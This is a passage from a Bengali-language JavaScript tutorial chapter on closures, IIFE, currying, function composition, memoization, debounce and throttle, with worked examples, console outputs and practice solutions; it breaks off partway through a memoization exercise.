এই code:

JavaScript SourceJavaScript
function outer() {

    let message = "Hello";

    function inner() {
        console.log(message);
    }

    return inner;
}

যখন:

JavaScript SourceJavaScript
const greet = outer();

হয়:

🧭 Architecture / Concept Flow
outer()
   ↓
message = "Hello"
   ↓
inner function তৈরি
   ↓
inner return
   ↓
greet → inner function

তারপর:

JavaScript SourceJavaScript
greet();

হলে:

🧭 Architecture / Concept Flow
greet()
  ↓
inner()
  ↓
message
  ↓
"Hello"
26.7 Closure Visual Model
🧭 Architecture / Concept Flow
┌────────────────────────────┐
│ outer()                    │
│                            │
│ message = "Hello"          │
│                            │
│   ┌────────────────────┐   │
│   │ inner()            │   │
│   │ console.log(message)│  │
│   └────────────────────┘   │
│                            │
└─────────────┬──────────────┘
              │
              ↓
          return inner
              │
              ↓
         const greet
              │
              ↓
       remembers message
26.8 Closure-এর Real-Life Example

ধরো ATM machine। User বাইরে থেকে সরাসরি account balance পরিবর্তন করতে পারবে না।

🧭 Architecture / Concept Flow
ATM Account
     │
     ├── balance
     │
     ├── deposit()
     │
     └── withdraw()

এখানে balance private রাখা যায় Closure দিয়ে।

26.9 Private Variable with Closure
JavaScript SourceJavaScript
function createAccount(initialBalance) {

    let balance = initialBalance;

    return {
        deposit(amount) {
            balance += amount;
        },

        withdraw(amount) {
            if (amount <= balance) {
                balance -= amount;
            }
        },

        getBalance() {
            return balance;
        }
    };
}

এখন:

JavaScript SourceJavaScript
const account = createAccount(1000);

account.deposit(500);

console.log(account.getBalance());
▶ CONSOLE OUTPUTOutput
1500

কিন্তু:

JavaScript SourceJavaScript
console.log(account.balance);
▶ CONSOLE OUTPUTOutput
undefined

কারণ balance directly accessible নয়।

26.10 কেন Closure ব্যবহার করব?

Closure দিয়ে:

  • private data রাখা যায়
  • state maintain করা যায়
  • factory function বানানো যায়
  • callback state মনে রাখতে পারে
  • event handler state ধরে রাখতে পারে
  • memoization করা যায়
  • function factory তৈরি করা যায়
26.11 Closure দিয়ে Counter

এটি অত্যন্ত গুরুত্বপূর্ণ example।

JavaScript SourceJavaScript
function createCounter() {

    let count = 0;

    return function() {
        count++;
        return count;
    };
}

const counter = createCounter();

console.log(counter());
console.log(counter());
console.log(counter());
▶ CONSOLE OUTPUTOutput
1
2
3

এখানে count কোথাও global variable নয়। তবুও function সেটাকে মনে রাখছে।

26.12 Multiple Closures

এখন:

JavaScript SourceJavaScript
const counter1 = createCounter();
const counter2 = createCounter();

console.log(counter1());
console.log(counter1());

console.log(counter2());
console.log(counter2());
▶ CONSOLE OUTPUTOutput
1
2
1
2

কারণ প্রতিটি createCounter() আলাদা closure তৈরি করেছে।

🧭 Architecture / Concept Flow
counter1 → count = 2

counter2 → count = 2

দুটো আলাদা state।

26.13 Closure + Parameters
JavaScript SourceJavaScript
function createGreeting(name) {

    return function() {
        console.log(`Hello ${name}`);
    };
}

const greetRipon = createGreeting("Ripon");
const greetRahim = createGreeting("Rahim");

greetRipon();
greetRahim();
▶ CONSOLE OUTPUTOutput
Hello Ripon
Hello Rahim

প্রতিটি returned function নিজের name মনে রেখেছে।

26.14 Function Factory

যে function অন্য function তৈরি করে তাকে Function Factory বলা যায়। Example:

JavaScript SourceJavaScript
function createMultiplier(number) {

    return function(value) {
        return value * number;
    };
}

এখন:

JavaScript SourceJavaScript
const double = createMultiplier(2);
const triple = createMultiplier(3);

console.log(double(10));
console.log(triple(10));
▶ CONSOLE OUTPUTOutput
20
30
26.15 Real-Life Function Factory

Discount calculator:

JavaScript SourceJavaScript
function createDiscount(rate) {

    return function(price) {
        return price - price * rate;
    };
}

const tenPercentOff = createDiscount(0.10);
const twentyPercentOff = createDiscount(0.20);

console.log(tenPercentOff(1000));
console.log(twentyPercentOff(1000));
▶ CONSOLE OUTPUTOutput
900
800
26.16 Closure with setTimeout()

Closure asynchronous JavaScript-এও খুব গুরুত্বপূর্ণ।

JavaScript SourceJavaScript
function greetLater(name) {

    setTimeout(function() {
        console.log(`Hello ${name}`);
    }, 1000);
}

greetLater("Ripon");

এক সেকেন্ড পরে:

▶ CONSOLE OUTPUTOutput
Hello Ripon

setTimeout() callback name variable-টিকে মনে রেখেছে।

26.17 Closure with Event Listener

Browser-এ:

JavaScript SourceJavaScript
function setupButton(name) {

    document
        .getElementById("btn")
        .addEventListener("click", function() {

            console.log(`Hello ${name}`);

        });
}

setupButton("Ripon");

Button click করলে:

▶ CONSOLE OUTPUTOutput
Hello Ripon

এখানেও callback name মনে রেখেছে।

26.18 Closure-এর সবচেয়ে Common Example: Loop

JavaScript-এ বহুল পরিচিত একটি ক্লাসিক ট্র্যাপ হলো লুপে var ব্যবহার করে Closure তৈরি করা:

সতর্কতা: var কীওয়ার্ড ফাংশন-স্কোপড হওয়ায় সবকটি টাইমআউট কলব্যাক একই ভ্যারিয়েবল রেফারেন্স শেয়ার করে। ফলে লুপ শেষ হয়ে i-এর মান যখন 4 হয়, তখন সব কলব্যাক একই মান 4 প্রিন্ট করে।

একটি classic problem:

❌ Loop with var (Shared Reference)❌ Trap / Antipattern
for (var i = 1; i <= 3; i++) {

    setTimeout(function() {
        console.log(i);
    }, 1000);
}

অনেক ক্ষেত্রে output হবে:

▶ CONSOLE OUTPUTOutput
4
4
4

কারণ var function-scoped এবং callbacks একই variable binding-এর দিকে তাকিয়ে থাকে।

26.19 let ব্যবহার করলে

Modern JavaScript-এ (ES6+) ব্লক-স্কোপড let ব্যবহার করলে প্রতি লুপ ইটারেশনে একটি করে নতুন লেক্সিক্যাল বাইন্ডিং তৈরি হয়:

✅ Loop with let (Per-Iteration Lexical Binding)✅ Best Practice
for (let i = 1; i <= 3; i++) {

    setTimeout(function() {
        console.log(i);
    }, 1000);
}
▶ CONSOLE OUTPUTOutput
1
2
3

কারণ let loop iteration-এর জন্য আলাদা binding তৈরি করে।

Key Takeaway: let প্রতিটি ইটারেশনের জন্য ক্লোজারের ভিতরে একটি স্বতন্ত্র মেমরি রেফারেন্স সংরক্ষণ করে, যা প্রত্যাশিত 1, 2, 3 আউটপুট নিশ্চিত করে।
Part 03 — Immediately Invoked Function Expressions (IIFE) (26.20 – 26.26)
26.20 IIFE কী?

IIFE = Immediately Invoked Function Expression এমন function expression যা define করার সাথে সাথে execute হয়। Syntax:

JavaScript SourceJavaScript
(function() {
    console.log("Hello");
})();
▶ CONSOLE OUTPUTOutput
Hello
26.21 IIFE কীভাবে কাজ করে?

সাধারণ function:

JavaScript SourceJavaScript
function greet() {
    console.log("Hello");
}

greet();

IIFE:

JavaScript SourceJavaScript
(function() {
    console.log("Hello");
})();

এক statement-এর মধ্যেই:

🧭 Architecture / Concept Flow
Function তৈরি
     ↓
Immediately execute
26.22 IIFE with Arrow Function
JavaScript SourceJavaScript
(() => {
    console.log("Hello from IIFE");
})();
▶ CONSOLE OUTPUTOutput
Hello from IIFE
26.23 IIFE কেন ব্যবহার করা হতো?

আগে JavaScript-এ module system শক্তিশালী হওয়ার আগে global namespace pollution এড়াতে IIFE অনেক ব্যবহার করা হতো। Example:

JavaScript SourceJavaScript
(function() {

    const secret = "12345";

    console.log(secret);

})();

বাইরে:

JavaScript SourceJavaScript
console.log(secret);
▶ CONSOLE OUTPUTOutput
ReferenceError

কারণ secret IIFE-এর ভিতরের scope-এ আছে। বর্তমানে ES Modules অনেক ক্ষেত্রে এই কাজের আরও ভালো solution।

26.24 IIFE with Parameters
JavaScript SourceJavaScript
(function(name) {
    console.log(`Hello ${name}`);
})("Ripon");
▶ CONSOLE OUTPUTOutput
Hello Ripon
26.25 IIFE দিয়ে Private State
JavaScript SourceJavaScript
const counter = (function() {

    let count = 0;

    return {
        increment() {
            count++;
        },

        getCount() {
            return count;
        }
    };

})();

ব্যবহার:

JavaScript SourceJavaScript
counter.increment();
counter.increment();

console.log(counter.getCount());
▶ CONSOLE OUTPUTOutput
2

এখানে count বাইরে থেকে directly accessible নয়।

26.26 Closure vs IIFE
ClosureIIFE
Scope মনে রাখেImmediately execute হয়
সাধারণত returned function দেখা যায়Function immediately run করে
Private state তৈরি করতে পারেPrivate scope তৈরি করতে পারে
Long-lived হতে পারেএকবার execute হওয়া common
createCounter() example(function(){})()

একটি গুরুত্বপূর্ণ বিষয়: > IIFE এবং Closure একই জিনিস নয়। IIFE হলো execution pattern। Closure হলো lexical environment ধরে রাখার behavior। একটি IIFE closure তৈরি করতেও পারে।

Part 04 — Currying, Partial Application & Function Transformation (26.27 – 26.33)
26.27 Function Returning Function
JavaScript SourceJavaScript
function outer() {

    return function inner() {
        return "Hello";
    };
}

const result = outer();

console.log(result());
▶ CONSOLE OUTPUTOutput
Hello

এটি closure, factory এবং currying-এর foundation।

26.28 Currying

Chapter 25-এ basic দেখেছিলাম। এবার গভীরভাবে বুঝি। Normal function:

JavaScript SourceJavaScript
function add(a, b, c) {
    return a + b + c;
}

console.log(add(10, 20, 30));

Curried:

JavaScript SourceJavaScript
function add(a) {

    return function(b) {

        return function(c) {

            return a + b + c;

        };

    };
}

console.log(add(10)(20)(30));
▶ CONSOLE OUTPUTOutput
60
26.29 Arrow Currying
JavaScript SourceJavaScript
const add = a => b => c => a + b + c;

console.log(add(10)(20)(30));
▶ CONSOLE OUTPUTOutput
60
26.30 Currying-এর সুবিধা

ধরো:

JavaScript SourceJavaScript
const add = a => b => c => a + b + c;

আমরা partial function তৈরি করতে পারি:

JavaScript SourceJavaScript
const add10 = add(10);

তারপর:

JavaScript SourceJavaScript
console.log(add10(20)(30));
▶ CONSOLE OUTPUTOutput
60
26.31 Practical Currying — Tax
JavaScript SourceJavaScript
const calculateTax = rate => price =>
    price * rate;

এখন:

JavaScript SourceJavaScript
const vat = calculateTax(0.15);

console.log(vat(1000));
console.log(vat(2000));
▶ CONSOLE OUTPUTOutput
150
300
26.32 Partial Application

Partial application হলো কিছু argument আগে দিয়ে একটি নতুন function তৈরি করা।

JavaScript SourceJavaScript
function multiply(a, b, c) {
    return a * b * c;
}

function multiplyBy(a) {

    return function(b, c) {
        return multiply(a, b, c);
    };

}

const multiplyBy2 = multiplyBy(2);

console.log(multiplyBy2(3, 4));
▶ CONSOLE OUTPUTOutput
24
26.33 Currying vs Partial Application
CurryingPartial Application
একবারে একটি argumentকিছু argument আগে দেওয়া যায়
f(a)(b)(c)f(a) → remaining args
Function transformationPre-configured function
Part 05 — Function Composition, Pipelines, Memoization & Rate Limiting (26.34 – 26.53)
26.34 Function Composition

একটি function-এর output আরেকটি function-এর input হলে composition করা যায়।

JavaScript SourceJavaScript
const double = x => x * 2;
const square = x => x * x;

console.log(square(double(5)));
🧭 Architecture / Concept Flow
5
↓
double
↓
10
↓
square
↓
100
26.35 compose() Function
JavaScript SourceJavaScript
const compose = (f, g) => value =>
    f(g(value));

Example:

JavaScript SourceJavaScript
const double = x => x * 2;
const square = x => x * x;

const process = compose(square, double);

console.log(process(5));
▶ CONSOLE OUTPUTOutput
100

এখানে:

🧭 Architecture / Concept Flow
process(5)
    ↓
double(5)
    ↓
10
    ↓
square(10)
    ↓
100
26.36 Multiple Function Compose

একাধিক function handle করার জন্য:

JavaScript SourceJavaScript
const compose = (...functions) => value =>
    functions.reduceRight(
        (result, fn) => fn(result),
        value
    );

এখন:

JavaScript SourceJavaScript
const double = x => x * 2;
const add10 = x => x + 10;
const square = x => x * x;

const process = compose(
    square,
    add10,
    double
);

console.log(process(5));
▶ CONSOLE OUTPUTOutput
400

Execution:

🧭 Architecture / Concept Flow
5
↓
double → 10
↓
add10 → 20
↓
square → 400
26.37 pipe()

pipe() সাধারণত left-to-right।

JavaScript SourceJavaScript
const pipe = (...functions) => value =>
    functions.reduce(
        (result, fn) => fn(result),
        value
    );

ব্যবহার:

JavaScript SourceJavaScript
const process = pipe(
    double,
    add10,
    square
);

console.log(process(5));
▶ CONSOLE OUTPUTOutput
400
26.38 compose() vs pipe()
🧭 Architecture / Concept Flow
compose:
right → left

pipe:
left → right

Example:

JavaScript SourceJavaScript
compose(square, add10, double)

Conceptually:

🧭 Architecture / Concept Flow
double → add10 → square

আর:

JavaScript SourceJavaScript
pipe(double, add10, square)

সরাসরি:

🧭 Architecture / Concept Flow
double → add10 → square
26.39 Memoization

Memoization হলো কোনো expensive function-এর result cache করে রাখা। ধরো:

JavaScript SourceJavaScript
function square(n) {
    console.log("Calculating...");
    return n * n;
}

একই input বারবার দিলে বারবার calculation হচ্ছে। Memoization দিয়ে:

JavaScript SourceJavaScript
function memoize(fn) {

    const cache = new Map();

    return function(value) {

        if (cache.has(value)) {
            return cache.get(value);
        }

        const result = fn(value);

        cache.set(value, result);

        return result;
    };
}

ব্যবহার:

JavaScript SourceJavaScript
const memoizedSquare = memoize(n => {
    console.log("Calculating...");
    return n * n;
});

console.log(memoizedSquare(5));
console.log(memoizedSquare(5));
▶ CONSOLE OUTPUTOutput
Calculating...
25
25

দ্বিতীয়বার calculation হয়নি।

26.40 Memoization কীভাবে কাজ করে?

প্রথমবার:

🧭 Architecture / Concept Flow
5
↓
Calculation
↓
25
↓
Cache

দ্বিতীয়বার:

🧭 Architecture / Concept Flow
5
↓
Cache আছে?
↓
Yes
↓
25
26.41 Memoization কোথায় Useful?

যেখানে calculation expensive:

  • mathematical calculations
  • recursive algorithms
  • expensive transformations
  • repeated API-derived calculations
  • data processing

তবে cache সবসময় memory ব্যবহার করে—তাই অযথা memoization করা উচিত নয়।

26.42 Decorator Pattern

একটি function-এর মূল behavior না বদলে তার চারপাশে additional behavior যোগ করা যায়।

JavaScript SourceJavaScript
function greet(name) {
    return `Hello ${name}`;
}

Decorator:

JavaScript SourceJavaScript
function logFunction(fn) {

    return function(...args) {

        console.log("Function called");

        const result = fn(...args);

        console.log("Function finished");

        return result;
    };
}

ব্যবহার:

JavaScript SourceJavaScript
const loggedGreet = logFunction(greet);

console.log(loggedGreet("Ripon"));
▶ CONSOLE OUTPUTOutput
Function called
Function finished
Hello Ripon
26.43 Decorator-এর Real-Life Use

Decorator-style wrapper দিয়ে করা যায়:

▶ CONSOLE OUTPUTOutput
Logging
Authentication
Timing
Caching
Validation
Permission checking
Error handling

যেমন:

JavaScript SourceJavaScript
function withLogging(fn) {
    return (...args) => {
        console.log("Arguments:", args);

        const result = fn(...args);

        console.log("Result:", result);

        return result;
    };
}
26.44 Function Timing
JavaScript SourceJavaScript
function withTiming(fn) {

    return (...args) => {

        const start = performance.now();

        const result = fn(...args);

        const end = performance.now();

        console.log(
            `Execution time: ${end - start}ms`
        );

        return result;
    };
}

ব্যবহার:

JavaScript SourceJavaScript
const calculate = withTiming(() => {
    let total = 0;

    for (let i = 0; i < 1000000; i++) {
        total += i;
    }

    return total;
});

console.log(calculate());

এখানে wrapper function execution time measure করছে।

26.45 Debouncing

Debouncing খুব গুরুত্বপূর্ণ web development concept। ধরো search box:

▶ CONSOLE OUTPUTOutput
User types:

R
Ri
Rip
Ripo
Ripon

প্রতিটি keypress-এ API call করলে:

🧭 Architecture / Concept Flow
5 keystrokes
↓
5 API requests

এটা unnecessary হতে পারে। Debounce বলে: > User typing থামানোর পর function execute করো। Basic implementation:

JavaScript SourceJavaScript
function debounce(fn, delay) {

    let timer;

    return function(...args) {

        clearTimeout(timer);

        timer = setTimeout(() => {
            fn(...args);
        }, delay);

    };
}
26.46 Debounce Example
JavaScript SourceJavaScript
const search = debounce(function(query) {
    console.log("Searching:", query);
}, 500);

User:

▶ CONSOLE OUTPUTOutput
R
Ri
Rip
Ripo
Ripon

দ্রুত type করলে previous timers cancel হবে। শেষে:

▶ CONSOLE OUTPUTOutput
Searching: Ripon

একবার execute হতে পারে। React search box-এ এই concept খুব useful।

26.47 Throttling

Throttling মানে নির্দিষ্ট সময়ের মধ্যে function সর্বোচ্চ একটি নির্দিষ্ট frequency-তে চালানো। যেমন scroll event:

🧭 Architecture / Concept Flow
User scroll করছে খুব দ্রুত
↓
অনেক scroll events
↓
Throttle
↓
নির্দিষ্ট interval-এ function

Basic:

JavaScript SourceJavaScript
function throttle(fn, delay) {

    let waiting = false;

    return function(...args) {

        if (waiting) return;

        fn(...args);

        waiting = true;

        setTimeout(() => {
            waiting = false;
        }, delay);
    };
}
26.48 Debounce vs Throttle
DebounceThrottle
শেষ event-এর পর executeনির্দিষ্ট interval-এ execute
Search inputScroll
Resize শেষেMouse movement
TypingContinuous events

সহজভাবে:

▶ CONSOLE OUTPUTOutput
Debounce:
"থামলে কাজ করো"

Throttle:
"চলতে থাকলেও নির্দিষ্ট সময় পরপর কাজ করো"
26.49 Closure + Debounce

খেয়াল করো:

JavaScript SourceJavaScript
function debounce(fn, delay) {

    let timer;

    return function(...args) {
        clearTimeout(timer);

        timer = setTimeout(() => {
            fn(...args);
        }, delay);
    };
}

এখানে returned function:

JavaScript SourceJavaScript
return function(...)

timer variable-টিকে মনে রাখছে। এটাই Closure-এর practical power।

26.50 Closure + Private Data

আরেকটি strong example:

JavaScript SourceJavaScript
function createBankAccount(balance) {

    return {
        deposit(amount) {
            balance += amount;
        },

        withdraw(amount) {

            if (amount <= balance) {
                balance -= amount;
            }
        },

        getBalance() {
            return balance;
        }
    };
}

এখানে:

▶ CONSOLE OUTPUTOutput
balance

private। শুধু methods-এর মাধ্যমে access করা যাচ্ছে।

26.51 Encapsulation

Encapsulation মানে data এবং সেই data-এর operations-কে একসাথে রাখা এবং internal implementation hide করা। Closure দিয়ে:

JavaScript SourceJavaScript
const account = createBankAccount(1000);

User জানে:

JavaScript SourceJavaScript
account.deposit(500);
account.withdraw(200);
account.getBalance();

কিন্তু internal:

▶ CONSOLE OUTPUTOutput
balance

কীভাবে রাখা হয়েছে সেটা বাইরে থেকে directly manipulate করা যায় না।

26.52 Closure Memory Consideration

Closure outer variables ধরে রাখতে পারে। তাই unnecessary বড় data ধরে রাখলে memory usage বাড়তে পারে। Example:

JavaScript SourceJavaScript
function createSomething() {

    const hugeData = new Array(1000000).fill("data");

    return function() {
        console.log(hugeData.length);
    };
}

Returned function hugeData-এর reference ধরে রাখছে। তাই closure ব্যবহার করার সময়: > প্রয়োজনের চেয়ে বেশি data unnecessarily ধরে রাখা উচিত নয়।

26.53 Closure-এর Common Mistakes

Closure ব্যবহারের সময় সচরাচর যেসব ভুল এবং ব্যাড-প্র্যাকটিস দেখা যায়:

🔹 Mistake 1 — গ্লোবাল স্টেট পরিবর্তন (Variable Mutation)
❌ ভুল: গ্লোবাল ভ্যারিয়েবল মিউটেশন❌ Trap / Antipattern
let count = 0; // ❌ Global variable leakage

function increment() {
    count++;
}
গ্লোবাল স্টেট বাইরের যেকোনো কোড দিয়ে অনিচ্ছাকৃতভাবে বদলে যেতে পারে।

সঠিক সমাধান: ফাংশন স্কোপের ভেতরে প্রাইভেট স্টেট হিসেবে রাখা:

✅ সঠিক: Closure Encapsulated State✅ Best Practice
function createCounter() {
    let count = 0; // ✅ Private lexical state
    return () => ++count;
}
🔹 Mistake 2 — লুপে var ব্যবহারের ফাঁদ
❌ ভুল: var লুপ ট্র্যাপ❌ Trap / Antipattern
for (var i = 0; i < 3; i++) {
    setTimeout(() => console.log(i), 100); // ❌ Output: 3, 3, 3
}
▶ CONSOLE OUTPUTOutput
3
3
3

Modern JavaScript সমাধান: let দিয়ে পার-ইটারেশন ব্লক স্কোপিং নিশ্চিত করা:

✅ সঠিক: let ব্লক স্কোপিং✅ Best Practice
for (let i = 0; i < 3; i++) {
    setTimeout(() => console.log(i), 100); // ✅ Output: 0, 1, 2
}
▶ CONSOLE OUTPUTOutput
0
1
2
Part 06 — Real-World Architectures, Mini-Project & Mastery Lab (26.54 – 26.59 + Lab)
26.54 Advanced Real-Life Example — Permission Factory
JavaScript SourceJavaScript
function createPermission(role) {

    return function(action) {

        if (role === "admin") {
            return true;
        }

        if (role === "editor" && action === "edit") {
            return true;
        }

        return false;
    };
}

ব্যবহার:

JavaScript SourceJavaScript
const adminPermission = createPermission("admin");
const editorPermission = createPermission("editor");

console.log(adminPermission("delete"));
console.log(editorPermission("edit"));
console.log(editorPermission("delete"));
▶ CONSOLE OUTPUTOutput
true
true
false

এখানে role closure-এর মাধ্যমে মনে রাখা হয়েছে।

26.55 Advanced Real-Life Example — ID Generator
JavaScript SourceJavaScript
function createIdGenerator() {

    let id = 0;

    return function() {
        id++;
        return id;
    };
}

const generateId = createIdGenerator();

console.log(generateId());
console.log(generateId());
console.log(generateId());
▶ CONSOLE OUTPUTOutput
1
2
3

এ ধরনের pattern application-level temporary state তৈরি করতে কাজে লাগতে পারে।

26.56 Complete Mini Project — Counter
🔹 HTML
HTML StructureJavaScript
<button id="increase">+</button>
<button id="decrease">-</button>
<button id="reset">Reset</button>

<h2 id="display">0</h2>
🔹 JavaScript
JavaScript SourceJavaScript
function createCounter() {

    let count = 0;

    return {
        increase() {
            count++;
        },

        decrease() {
            count--;
        },

        reset() {
            count = 0;
        },

        getValue() {
            return count;
        }
    };
}

const counter = createCounter();

const display = document.getElementById("display");

document.getElementById("increase").addEventListener("click", () => {
    counter.increase();
    display.textContent = counter.getValue();
});

document.getElementById("decrease").addEventListener("click", () => {
    counter.decrease();
    display.textContent = counter.getValue();
});

document.getElementById("reset").addEventListener("click", () => {
    counter.reset();
    display.textContent = counter.getValue();
});

এখানে:

🧭 Architecture / Concept Flow
createCounter()
      ↓
private count
      ↓
methods
      ↓
UI

এটি Closure + Encapsulation-এর real-world example।

26.57 Closure বনাম Class

Private state দু'ভাবেই করা যায়।

🔹 Closure
JavaScript SourceJavaScript
function createUser(name) {

    return {
        getName() {
            return name;
        }
    };
}
🔹 Class

Modern JavaScript class-এ private field:

JavaScript SourceJavaScript
class User {

    #name;

    constructor(name) {
        this.#name = name;
    }

    getName() {
        return this.#name;
    }
}

দুটোরই use case আছে।

26.58 Closure বনাম Global Variable
🔹 Global
JavaScript SourceJavaScript
let count = 0;

function increment() {
    count++;
}

যে code access করতে পারে, state modify করার সুযোগ পেতে পারে।

🔹 Closure
JavaScript SourceJavaScript
function createCounter() {

    let count = 0;

    return () => ++count;
}

count encapsulated থাকে।

26.59 Chapter 26 — Complete Concept Map
🧭 Architecture / Concept Flow
Advanced Functions
                        │
        ┌───────────────┼────────────────┐
        ↓               ↓                ↓
      Scope          Closure            IIFE
        │               │                │
        ↓               ↓                ↓
 Lexical Scope    Private State     Private Scope
 Scope Chain      Factory           Immediate Execute
        │               │
        └───────┬───────┘
                ↓
       Function Returning Function
                │
       ┌────────┴─────────┐
       ↓                  ↓
    Currying        Partial Application
       │
       ↓
 Function Composition
       │
   ┌───┴────┐
   ↓        ↓
compose()  pipe()
   │
   ↓
Advanced Patterns
   │
 ┌─┼──────────────┬────────────┐
 ↓ ↓              ↓            ↓
Memoization    Decorator    Debounce
                             │
                             ↓
                          Throttle
26.Must 🔥 Must Know — Chapter 26 এর সবচেয়ে গুরুত্বপূর্ণ কনসেপ্টসমূহ

Chapter 26 থেকে ইন্টারভিউ ও প্রোডাকশন কোডিংয়ের জন্য অপরিহার্য মূল বিষয়গুলোর সারসংক্ষেপ:

🔹 Scope & Lexical Environment
  • Scope: ভ্যারিয়েবল ও ফাংশনের ভিজিবিলিটি বা এক্সেসিবিলিটি বাউন্ডারি।
  • Lexical Scope: কোড যেখানে লিখিত হয়েছে, সেই ফিজিক্যাল লোকেশনের ওপর স্কোপ নির্ধারিত হয়।
  • Scope Chain: কারেন্ট স্কোপ থেকে প্যারেন্ট স্কোপ হয়ে গ্লোবাল পর্যন্ত আইডেন্টিফায়ার খোঁজার চেইন।
🔹 Closure & Encapsulation
  • Closure: একটি ফাংশন ও তার লেক্সিক্যাল এনভায়রনমেন্টের রেফারেন্স সংরক্ষণ করে রাখার ক্ষমতা।
  • Private Variables: বাইরে থেকে অ্যাক্সেস অযোগ্য ডেটা এনক্যাপসুলেশন তৈরি।
  • Function Factory: প্যারামিটার পাস করে স্পেশালাইজড ডায়নামিক ফাংশন জেনারেশন।
  • Async Closure: setTimeout, ইভেন্ট লিসেনার ও ডিবাউন্সারে স্টেট ধরে রাখা।
🔹 Immediately Invoked Function Expressions (IIFE)
  • IIFE Syntax: (function() { ... })(); বা অ্যারো সিনট্যাক্স (() => { ... })();
  • Private Scope: গ্লোবাল নেমস্পেসকে পলিউশন থেকে রক্ষা করা এবং ইনিশিয়ালাইজেশন কোড একবারে চালানো।
🔹 Advanced Function Patterns
  • Currying: f(a, b, c)-কে রূপান্তর করে f(a)(b)(c) এ একবারে একটি আর্গুমেন্ট গ্রহণকারী ফাংশন চেইন বানানো।
  • Partial Application: কিছু আর্গুমেন্ট আগে বাইন্ড করে নতুন স্পেশালাইজড ফাংশন তৈরি করা।
  • Composition: compose(f, g)(x) = f(g(x)) (Right to Left ডেটা ট্রান্সফরমেশন)।
  • Pipe: pipe(f, g)(x) = g(f(x)) (Left to Right স্বাভাবিক পঠনযোগ্য ডেটা পাইপলাইন)।
  • Memoization: পূর্বের ইনপুট ও ফলাফলের ক্যাশ সংরক্ষণ করে কর্মক্ষমতা অপ্টিমাইজেশন।
  • Debounce & Throttle: উচ্চ-ফ্রিকোয়েন্সি ইভেন্টকে রেট-লিমিট ও অপ্টিমাইজ করার ক্লোজার প্যাটার্ন।
26.Cheat 🧠 Quick Cheat Sheet — Code Pattern Reference

Chapter 26-এর ৯টি প্রধান ফাংশনাল প্যাটার্নের আল্ট্রা-কম্প্যাক্ট প্রোডাকশন রেফারেন্স:

1. Closure (State Retention)JavaScript
// Closure
function outer() {
    let value = 10;

    return function() {
        return value;
    };
}
2. IIFE (Immediate Execution)JavaScript
// IIFE
(function() {
    console.log("Run");
})();
3. Currying (Unary Chaining)JavaScript
// Currying
const add = a => b => a + b;

add(10)(20);
4. Function FactoryJavaScript
// Function Factory
const multiplyBy = x => y => x * y;

const double = multiplyBy(2);
5. compose() (Right to Left)JavaScript
// Composition
const compose = (f, g) => x => f(g(x));
6. pipe() (Left to Right)JavaScript
// Pipe
const pipe = (...fns) => x =>
    fns.reduce((v, fn) => fn(v), x);
7. Memoization (Cache Store)JavaScript
// Memoization
const cache = new Map();
8. Debounce PatternJavaScript
// Debounce
clearTimeout(timer);
timer = setTimeout(fn, delay);
9. Throttle PatternJavaScript
// Throttle
if (waiting) return;
26.Lab 📝 Hands-On Practice Lab — 7 Production Mastery Challenges

Closure, Currying, Composition এবং Rate Limiting কনসেপ্টগুলোকে সম্পূর্ণ আয়ত্তে আনতে নিচে ৭টি প্র্যাকটিক্যাল চ্যালেঞ্জের সম্পূর্ণ মডেল সলিউশন দেওয়া হলো:

Practice 1: Counter Closure — Private State Management

Problem Requirement: এমন createCounter() ফাংশন তৈরি করো যাতে প্রতিবার কল করলে 1, 2, 3 রিটার্ন করে এবং ভেতরের কাউন্ট বাইরে থেকে মডিফাই করা না যায়।

Practice 1 Solution✅ Best Practice
function createCounter() {
    let count = 0; // Private state
    return function() {
        count++;
        return count;
    };
}

const counter = createCounter();
console.log(counter()); // 1
console.log(counter()); // 2
console.log(counter()); // 3
▶ CONSOLE OUTPUTOutput
1
2
3
Practice 2: Private Balance — Encapsulated Bank Account

Problem Requirement: createAccount(5000) ফাংশন তৈরি করো যার মধ্যে deposit(amount), withdraw(amount) এবং getBalance() মেথড থাকবে।

Practice 2 Solution✅ Best Practice
function createAccount(initialBalance) {
    let balance = initialBalance; // Encapsulated private balance

    return {
        deposit(amount) {
            balance += amount;
            return balance;
        },
        withdraw(amount) {
            if (amount <= balance) {
                balance -= amount;
            } else {
                console.log("Insufficient funds");
            }
            return balance;
        },
        getBalance() {
            return balance;
        }
    };
}

const account = createAccount(5000);
account.deposit(1000);
account.withdraw(500);
console.log("Final Balance:", account.getBalance());
▶ CONSOLE OUTPUTOutput
Final Balance: 5500
Practice 3: Multiplier Factory — Higher-Order Function

Problem Requirement: একটি createMultiplier(multiplier) ফাংশন ফ্যাক্টরি তৈরি করো যা নতুন মাল্টিপ্লায়ার ফাংশন জেনারেট করে।

Practice 3 Solution✅ Best Practice
const createMultiplier = multiplier => number => number * multiplier;

const triple = createMultiplier(3);
const quadruple = createMultiplier(4);

console.log("Triple 10:", triple(10));
console.log("Quadruple 5:", quadruple(5));
▶ CONSOLE OUTPUTOutput
Triple 10: 30
Quadruple 5: 20
Practice 4: Currying Function — Unary Parameter Pipeline

Problem Requirement: কারিং স্টাইলে add(10)(20)(30) কল করে 60 আউটপুট পাওয়ার মতো ফাংশন তৈরি করো।

Practice 4 Solution✅ Best Practice
const add = a => b => c => a + b + c;

const result = add(10)(20)(30);
console.log("Curried Add Result:", result);

// Partial utilization
const add10 = add(10);
const add10And20 = add10(20);
console.log("Partially Applied Result:", add10And20(30));
▶ CONSOLE OUTPUTOutput
Curried Add Result: 60
Partially Applied Result: 60
Practice 5: Pipeline Composition — Left-to-Right Data Flow

Problem Requirement: double, add10, square তিনটি ফাংশনকে pipe() দিয়ে যুক্ত করে 5 থেকে 400 ফলাফল তৈরি করো (5 → 10 → 20 → 400)।

Practice 5 Solution✅ Best Practice
const pipe = (...fns) => initialVal =>
    fns.reduce((val, fn) => fn(val), initialVal);

const double = x => x * 2;
const add10 = x => x + 10;
const square = x => x * x;

const compute = pipe(double, add10, square);

console.log("Pipeline Output (5 -> 10 -> 20 -> 400):", compute(5));
▶ CONSOLE OUTPUTOutput
Pipeline Output (5 -> 10 -> 20 -> 400): 400
Practice 6: Memoization Function — Cache Optimization

Problem Requirement: এমন memoize(fn) ফাংশন তৈরি করো যাতে একই আর্গুমেন্ট দিলে পূর্বে ক্যাশ করা মান ফেরত আসে এবং পুনরায় ক্যালকুলেশন না হয়।

Practice 6 Solution✅ Best Practice
function memoize(fn) {
    const cache = new Map();
    return function(...args) {
        const key = JSON.stringify(args);
        if (cache.has(key)) {
            console.log("[Cache Hit] Returning cached result for:", key);
            return cache.get(key);
        }
        console.log("[Computing] Calculating fresh result for:", key);
        const result = fn(...args);
        cache.set(key, result);
